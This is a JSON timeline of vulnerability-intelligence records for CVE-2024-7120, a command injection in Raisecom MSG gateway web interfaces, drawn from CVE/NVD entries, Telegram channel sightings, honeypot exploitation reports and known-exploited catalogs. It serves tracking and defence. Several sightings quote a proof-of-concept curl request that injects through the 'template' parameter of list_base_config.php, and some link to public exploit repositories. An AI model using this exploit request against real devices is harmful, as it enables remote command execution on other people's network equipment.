{"metadata": {"vulnerability": "CVE-2024-7120", "count": 67, "kinds": {"milestone": 4, "sighting": 40, "kev": 11, "other": 12}}, "data": [{"timestamp": "2024-07-25T00:00:00Z", "date_only": false, "value": "2024-07-25T00:00:00.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / VulDB", "record": "CVE-2024-7120", "field": "containers.cna.timeline.0.time", "text": "Advisory disclosed"}, {"timestamp": "2024-07-25T02:00:00Z", "date_only": false, "value": "2024-07-25T02:00:00.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / VulDB", "record": "CVE-2024-7120", "field": "containers.cna.timeline.1.time", "text": "VulDB entry created"}, {"timestamp": "2024-07-25T18:53:09.255Z", "date_only": false, "value": "2024-07-25T18:53:09.255Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2024-7120", "field": "cveMetadata.dateReserved"}, {"timestamp": "2024-07-25T20:58:26Z", "date_only": false, "value": "2024-07-25T20:58:26.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / VulDB", "record": "CVE-2024-7120", "field": "containers.cna.timeline.2.time", "text": "VulDB entry last update"}, {"timestamp": "2024-07-26T05:00:07.432Z", "date_only": false, "value": "2024-07-26T05:00:07.432Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-7120", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2024-07-26T05:00:07.432Z", "date_only": false, "value": "2024-07-26T05:00:07.432Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / VulDB", "record": "CVE-2024-7120", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2024-07-26T05:15:10Z", "date_only": false, "value": "2024-07-26T05:15:10Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-9254-9WVC-GMQR", "record": "GHSA-9254-9WVC-GMQR", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2024-07-26T05:15:10.857Z", "date_only": false, "value": "2024-07-26T05:15:10.857", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-7120", "record": "FKIE_CVE-2024-7120", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-07-26T06:30:48Z", "date_only": false, "value": "2024-07-26T06:30:48Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-9254-9WVC-GMQR", "record": "GHSA-9254-9WVC-GMQR", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2024-07-26T06:30:48Z", "date_only": false, "value": "2024-07-26T06:30:48Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-9254-9WVC-GMQR", "record": "GHSA-9254-9WVC-GMQR", "field": "modified", "linked_record": true}, {"timestamp": "2024-07-26T07:58:21Z", "date_only": false, "value": "2024-07-26T07:58:21.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cvedetector/1667", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "b1e67f32-0bf2-4bc2-b037-339bd0d040ac", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-7120 - Raisecom MSG Series Web Interface OS Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-7120 \nPublished : July 26, 2024, 5:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90. This affects an unknown part of the file list_base_config.php of the component Web Interface. The manipulation of the argument template leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-272451. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "url": "https://t.me/cvedetector/1667"}, {"timestamp": "2024-07-26T13:53:09.478Z", "date_only": false, "value": "2024-07-26T13:53:09.478355Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-7120", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2024-07-26T13:53:09.478Z", "date_only": false, "value": "2024-07-26T13:53:09.478355Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-7120", "record": "FKIE_CVE-2024-7120", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2024-07-26T13:58:56.431Z", "date_only": false, "value": "2024-07-26T13:58:56.431Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-7120", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-01T10:24:33Z", "date_only": false, "value": "2024-08-01T10:24:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/2199", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "fa7d2788-fab7-467b-be0a-999c4d2916c1", "content": "CVE-2024-7120 RAISECOM Gateway Devices\n*\nWriteUp\n*\nExploit command injection\ncurl 'http:///vpn/list_base_config.php?type=mod&amp;parts=base_config&amp;template=``' \\\n  -H 'Accept: */*' \\\n  -H 'Accept-Encoding: gzip, deflate' \\\n  -H 'Connection: keep-alive'", "url": "https://t.me/proxy_bar/2199", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-01T13:53:33Z", "date_only": false, "value": "2024-08-01T13:53:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackerArsenal/92", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "4b532f23-7591-4631-be3e-2b573229c66c", "content": "CVE-2024-7120 RAISECOM Gateway Devices\n*\nWriteUp\n*\nExploit command injection\ncurl 'http:///vpn/list_base_config.php?type=mod&amp;parts=base_config&amp;template=``' \\\n  -H 'Accept: */*' \\\n  -H 'Accept-Encoding: gzip, deflate' \\\n  -H 'Connection: keep-alive'", "url": "https://t.me/HackerArsenal/92", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-01T13:54:17Z", "date_only": false, "value": "2024-08-01T13:54:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Kelvinseccommunity/679", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "e616c868-55ed-4e56-9853-f7648000e177", "content": "CVE-2024-7120 RAISECOM Gateway Devices\n*\nWriteUp\n*\nExploit command injection\ncurl 'http:///vpn/list_base_config.php?type=mod&amp;parts=base_config&amp;template=``' \\\n  -H 'Accept: */*' \\\n  -H 'Accept-Encoding: gzip, deflate' \\\n  -H 'Connection: keep-alive'", "url": "https://t.me/Kelvinseccommunity/679", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-01T14:27:01Z", "date_only": false, "value": "2024-08-01T14:27:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/2933", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "f28b7ad4-a700-4176-a21a-10e1378b889e", "content": "https://netsecfish.notion.site/Command-Injection-Vulnerability-in-RAISECOM-Gateway-Devices-673bc7d2f8db499f9de7182d4706c707\n\nCommand Injection Vulnerability in RAISECOM Gateway Devices cve-2024-7120\n#\u5206\u6790 #poc", "url": "https://t.me/CNArsenal/2933", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-01T17:42:00Z", "date_only": false, "value": "2024-08-01T17:42:00.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8148", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "546beccc-2c14-4a96-b649-ffca9edf565f", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aMass Exploit &lt; [CVE-2024-7120 - Raisecom] - Command Injection\nURL\uff1ahttps://github.com/codeb0ss/CVE-2024-7120-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8148", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-01T21:52:30.336Z", "date_only": false, "value": "2024-08-01T21:52:30.336Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2024-7120", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-01T21:52:30.336Z", "date_only": false, "value": "2024-08-01T21:52:30.336Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2024-7120", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-30T05:42:23Z", "date_only": false, "value": "2024-08-30T05:42:23.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/3086", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "12976cc5-4d85-48c8-b17b-c295bb836590", "content": "#poc #exploit", "url": "https://t.me/CNArsenal/3086", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-30T15:55:00Z", "date_only": false, "value": "2024-08-30T15:55:00.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8417", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "3e468ba3-de9c-4e90-ad8d-17e10da599fa", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1a\u26a0\ufe0f\u26a0\ufe0f CVE-2024-7120 Command Injection Vulnerability in RAISECOM Gateway Devices\nURL\uff1ahttps://github.com/fa-rrel/CVE-2024-7120\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8417", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-01T07:16:35Z", "date_only": false, "value": "2024-09-01T07:16:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/1885", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "38ef9601-2068-44d5-8573-04cd31a310a4", "content": "#poc #exploit", "url": "https://t.me/realLulzSec/1885", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-01T16:43:33Z", "date_only": false, "value": "2024-09-01T16:43:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/realLulzSec/18319", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "dc306933-6f08-4540-9339-9125e1000abb", "content": "#poc #exploit", "url": "https://t.me/realLulzSec/18319", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-07T05:42:04Z", "date_only": false, "value": "2024-09-07T05:42:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/codeb0ss/1533", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "b0f8a582-8853-41bf-8cea-0e6fbf423145", "content": "https://nvd.nist.gov/vuln/detail/CVE-2024-7120", "url": "https://t.me/codeb0ss/1533", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-21T19:13:28Z", "date_only": false, "value": "2024-09-21T19:13:28+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2024-7120", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "5af37308-04f4-4614-9956-0af7291e845e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-09-21T19:13:28Z", "date_only": false, "value": "2024-09-21T19:13:28+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2024-7120", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "uuid": "5af37308-04f4-4614-9956-0af7291e845e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2024-09-24T16:44:57Z", "date_only": false, "value": "2024-09-24T16:44:57.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/223980", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "004cbf1e-e128-4559-939e-719a10a8dfe3", "content": "Exploitation of RAISECOM Gateway Devices Vulnerability CVE-2024-7120, (Tue, Sep 24th)\nhttps://ift.tt/Joj0lSp", "url": "https://t.me/ctinow/223980"}, {"timestamp": "2024-09-25T13:30:44Z", "date_only": false, "value": "2024-09-25T13:30:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ton618cyber/1340", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "b8b08c72-f2a9-4aee-9606-47380c140df6", "content": "#exploit\n1. CVE-2024-9043:\nCellopoint Secure Email Gateway - Buffer Overflow in authentication process\nhttps://github.com/maybeheisenberg/CVE-2024-9043\n\n2. CVE-2024-7120:\nRaisecom Command Injection\nhttps://github.com/codeb0ss/CVE-2024-7120-PoC\n]-&gt; https://github.com/fa-rrel/CVE-2024-7120\n\n3. CVE-2024-20439/\nCVE-2024-20440:\nCisco Smart Licensing Utility Static Credential/Information Disclosure\nhttps://starkeblog.com/cve-wednesday/cisco/2024/09/20/cve-wednesday-cve-2024-20439.html", "url": "https://t.me/ton618cyber/1340", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-25T13:30:44Z", "date_only": false, "value": "2024-09-25T13:30:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ton618cyber/4491", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "ad5bafa0-3564-455e-bddb-e7c1a0af6839", "content": "#exploit\n1. CVE-2024-9043:\nCellopoint Secure Email Gateway - Buffer Overflow in authentication process\nhttps://github.com/maybeheisenberg/CVE-2024-9043\n\n2. CVE-2024-7120:\nRaisecom Command Injection\nhttps://github.com/codeb0ss/CVE-2024-7120-PoC\n]-&gt; https://github.com/fa-rrel/CVE-2024-7120\n\n3. CVE-2024-20439/\nCVE-2024-20440:\nCisco Smart Licensing Utility Static Credential/Information Disclosure\nhttps://starkeblog.com/cve-wednesday/cisco/2024/09/20/cve-wednesday-cve-2024-20439.html", "url": "https://t.me/ton618cyber/4491", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-25T14:59:40Z", "date_only": false, "value": "2024-09-25T14:59:40.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackerArsenal/447", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "bd2438e7-cd4f-47d3-9ccb-34a2b6ff6bc9", "content": "#exploit\n1. CVE-2024-9043:\nCellopoint Secure Email Gateway - Buffer Overflow in authentication process\nhttps://github.com/maybeheisenberg/CVE-2024-9043\n\n2. CVE-2024-7120:\nRaisecom Command Injection\nhttps://github.com/codeb0ss/CVE-2024-7120-PoC\n]-&gt; https://github.com/fa-rrel/CVE-2024-7120\n\n3. CVE-2024-20439/\nCVE-2024-20440:\nCisco Smart Licensing Utility Static Credential/Information Disclosure\nhttps://starkeblog.com/cve-wednesday/cisco/2024/09/20/cve-wednesday-cve-2024-20439.html", "url": "https://t.me/HackerArsenal/447", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-25T16:22:36Z", "date_only": false, "value": "2024-09-25T16:22:36.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/3217", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "dae04b10-5a0b-4177-967c-1dda2e93f5b8", "content": "https://github.com/fa-rrel/CVE-2024-7120\n\nCVE-2024-7120 Command Injection Vulnerability in RAISECOM Gateway Devices\n#github #exploit", "url": "https://t.me/CNArsenal/3217", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-09-25T22:02:36Z", "date_only": false, "value": "2024-09-25T22:02:36.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberSecurityTechnologies/11189", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "d9ebf707-02e7-4e20-9ca2-5d8ebbace8da", "content": "#exploit\n1. CVE-2024-9043:\nCellopoint Secure Email Gateway - Buffer Overflow in authentication process\nhttps://github.com/maybeheisenberg/CVE-2024-9043\n\n2. CVE-2024-7120:\nRaisecom Command Injection\nhttps://github.com/codeb0ss/CVE-2024-7120-PoC\n]-&gt; https://github.com/fa-rrel/CVE-2024-7120\n\n3. CVE-2024-20439/\nCVE-2024-20440:\nCisco Smart Licensing Utility Static Credential/Information Disclosure\nhttps://starkeblog.com/cve-wednesday/cisco/2024/09/20/cve-wednesday-cve-2024-20439.html", "url": "https://t.me/CyberSecurityTechnologies/11189"}, {"timestamp": "2024-10-24T00:00:00Z", "date_only": false, "value": "2024-10-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-10-24)", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "e9acd43c-08ee-49c1-9f84-4f8d89b1d386", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-11-03T04:41:27Z", "date_only": false, "value": "2024-11-03T04:41:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BackupLulz/231", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "1f6dc7c8-fc4b-4710-8e0c-e8fe629039df", "content": "#poc #exploit", "url": "https://t.me/BackupLulz/231", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-01-03T14:22:17Z", "date_only": false, "value": "2025-01-03T14:22:17.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/jokeir7x0/1796", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "0730438e-37fb-47cc-b7be-0f2547ea2b0e", "content": "\ud83e\udd21how Raisecom Devices Command Injection (CVE-2024-7120) \ud83e\udd21", "url": "https://t.me/jokeir7x0/1796"}, {"timestamp": "2025-01-20T19:24:22.822Z", "date_only": false, "value": "2025-01-20T19:24:22.822140Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lg72ulm2bc2u", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "2be2b503-fc7f-4ef5-a69b-942e57bbdba6", "url": "https://bsky.app/profile/aakl.bsky.social/post/3lg72ulm2bc2u"}, {"timestamp": "2025-02-03T00:00:00Z", "date_only": false, "value": "2025-02-03T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-03)", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "2814f0e6-39a5-4340-8e07-c8912eebb08d", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-03-06T00:00:00Z", "date_only": false, "value": "2025-03-06T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-06)", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "65d1c8f7-19ac-4cac-8f97-52e1be75a72b", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-06-19T00:00:00Z", "date_only": false, "value": "2025-06-19T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2024-7120", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "d4e355c0-740c-4fa7-ad06-f53e656703f6", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-06-19T00:00:00Z", "date_only": false, "value": "2025-06-19T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2024-7120", "field": "evidence.0.details.added_date", "uuid": "d4e355c0-740c-4fa7-ad06-f53e656703f6", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-06-19T00:00:00Z", "date_only": false, "value": "2025-06-19T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-19)", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "ab48bc73-aded-416b-bbbd-b8cff0107491", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-06-19T00:00:00Z", "date_only": false, "value": "2025-06-19T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2024-7120", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "d4e355c0-740c-4fa7-ad06-f53e656703f6", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-06-19T00:00:00Z", "date_only": false, "value": "2025-06-19T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2024-7120", "field": "status.status_updated_at", "uuid": "d4e355c0-740c-4fa7-ad06-f53e656703f6", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-10-01T00:00:00Z", "date_only": false, "value": "2025-10-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-01)", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "14d61e11-d2c1-42b2-95e6-84d9f93a5fa6"}, {"timestamp": "2026-02-14T00:00:00Z", "date_only": false, "value": "2026-02-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-14)", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "c4299f48-b57d-4f6b-a1ab-58ff5edee238", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-02-18T00:00:00Z", "date_only": false, "value": "2026-02-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-18)", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "098a3ffa-0593-4cac-be80-8d45c261b871", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-03-18T00:00:00Z", "date_only": false, "value": "2026-03-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-18)", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "27c5762f-8e55-4c6a-8e83-b1533a447cee", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-03-23T00:00:00Z", "date_only": false, "value": "2026-03-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-23)", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "94c28354-1e0c-4f2c-8e17-c42b98464ef5", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-04-10T00:00:00Z", "date_only": false, "value": "2026-04-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-10)", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "09a1a308-8f8c-4ba3-87a1-767820d95411"}, {"timestamp": "2026-06-17T08:19:24.130Z", "date_only": false, "value": "2026-06-17T08:19:24.130", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-7120", "record": "FKIE_CVE-2024-7120", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-06-19T12:46:09.423Z", "date_only": false, "value": "2026-06-19T12:46:09.423286Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/eaa6534b-dc8b-411a-923a-d6f769b770b7", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "cf527931-177f-4c51-bb69-5ceeb71d55df", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/eaa6534b-dc8b-411a-923a-d6f769b770b7", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-23T11:11:17Z", "date_only": false, "value": "2026-06-23T11:11:17+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2024-7120", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "d4e355c0-740c-4fa7-ad06-f53e656703f6", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T11:12:15.506Z", "date_only": false, "value": "2026-06-23T11:12:15.506393Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/d4e355c0-740c-4fa7-ad06-f53e656703f6", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "e57b23a6-1c3b-436e-ab71-06621bb87705", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/d4e355c0-740c-4fa7-ad06-f53e656703f6", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-23T14:03:32.053Z", "date_only": false, "value": "2026-06-23T14:03:32.053002Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/26316028-fa89-4f3d-97ff-c0aa65427464", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "2d422915-2ecf-413d-8478-bfb94fc23fde", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/26316028-fa89-4f3d-97ff-c0aa65427464", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-27T10:15:10.216Z", "date_only": false, "value": "2026-06-27T10:15:10.216506Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-26)", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "923f750e-f970-4f62-b55e-70976cf29561", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-30T09:23:49.223Z", "date_only": false, "value": "2026-06-30T09:23:49.223447Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/67d6ee14-bcb3-4577-9699-1a202a550479", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "735adae2-6035-4961-85e8-f48dea4b7719", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/67d6ee14-bcb3-4577-9699-1a202a550479", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-01T05:54:01.200Z", "date_only": false, "value": "2026-07-01T05:54:01.200569Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/5af37308-04f4-4614-9956-0af7291e845e", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "4a64033c-edc1-47c0-9906-6c4b1efd4de0", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/5af37308-04f4-4614-9956-0af7291e845e", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-14T03:00:09.541Z", "date_only": false, "value": "2026-09-14T03:00:09.541076Z", "kind": "sighting", "label": "Seen", "source": "Telegram/TV73HEExDIFDvdje_pA8QW1z6zzomtd2PpUEZOi09POGX5Q", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "b9f43972-73bd-4263-97b3-877f8fbc1bdc"}, {"timestamp": "2026-09-14T03:00:10.812Z", "date_only": false, "value": "2026-09-14T03:00:10.812320Z", "kind": "sighting", "label": "Seen", "source": "Telegram/SWXpTb_FDgqk-a1sBSyz4gpK1bNcdSIfJKm4SIv87MwvEOM", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "81cb5b41-2692-462a-bb89-e9c7d70b34c7"}, {"timestamp": "2026-09-15T00:00:24.092Z", "date_only": false, "value": "2026-09-15T00:00:24.092279Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/TV73HEExDIFDvdje_pA8QW1z6zzomtd2PpUEZOi09POGX5Q", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "d3bba9e6-d26a-4541-99d8-5e2c31ed834f", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-15T00:00:24.217Z", "date_only": false, "value": "2026-09-15T00:00:24.217411Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/SWXpTb_FDgqk-a1sBSyz4gpK1bNcdSIfJKm4SIv87MwvEOM", "record": "CVE-2024-7120", "field": "creation_timestamp", "uuid": "51f7fa4d-1e26-4963-942f-252eb29ef198", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-11-04T00:00:00Z", "date_only": false, "value": "2026-11-04T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2024-7120", "field": "timestamps.last_seen_at", "uuid": "5af37308-04f4-4614-9956-0af7291e845e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-11-04T00:00:00Z", "date_only": true, "value": "2026-11-04", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2024-7120", "field": "evidence.0.details.observation_date", "uuid": "5af37308-04f4-4614-9956-0af7291e845e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-11-04T00:00:00Z", "date_only": false, "value": "2026-11-04T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2024-7120", "field": "status.status_updated_at", "uuid": 